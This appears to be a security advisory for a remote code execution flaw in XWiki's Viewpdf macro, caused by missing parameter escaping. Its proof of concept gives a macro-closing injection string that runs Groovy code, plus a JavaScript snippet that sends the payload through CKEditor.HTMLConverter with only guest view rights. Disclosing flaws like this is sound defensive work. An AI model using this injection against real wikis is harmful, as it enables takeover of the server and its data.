Summary

Missing escaping in the Viewpdf macro allows any user with view right on the CKEditor.HTMLConverter page or edit or comment right on any page to perform remote code execution. Other macros like Viewppt are vulnerable to the same kind of attack.

Details

The issue is that the Viewpdf macro inserts the parameter without escaping in a context where XWiki syntax is executed: https://github.com/xwikisas/xwiki-pro-macros/blob/main/xwiki-pro-macros-ui/src/main/resources/Confluence/Macros/Viewpdf.xml#L265-L267

PoC

It is sufficient to use the Viewpdf macro with a "name" parameter like " /}}{{async}}{{groovy}}println("Hello from Groovy!"){{/groovy}} to execute any Groovy code on the server. This can also be done via the CKEditor.HTMLConverter, the following JavaScript snippet can be used on any page to demonstrate this from just view right:

(function (text) {
  const url = new URL(document.location);
  url.searchParams.append('sheet', 'CKEditor.HTMLConverter');
  url.searchParams.append('formToken', document.documentElement.dataset.xwikiFormToken);
  url.searchParams.append('toHTML', 'true');
  url.searchParams.append('text', text);
 document.location = url;
})('{{viewpdf name="~"/}}{{async}}{{groovy}}services.logging.getLogger(/attacker/).error(/Hello from Groovy!/){{/groovy}}{{/async}}" /}}');

If an error message "Hello from Groovy" appears in XWiki's log, the installation is vulnerable. Note that this doesn't require any user account, standard guest view rights are enough.

Impact

Remote code execution allows accessing and modifying all data that is stored in the XWiki instance and possibly accessing the server on which XWiki is running. This affects the confidentiality, integrity and availability of the whole XWiki installation and all data in the wiki.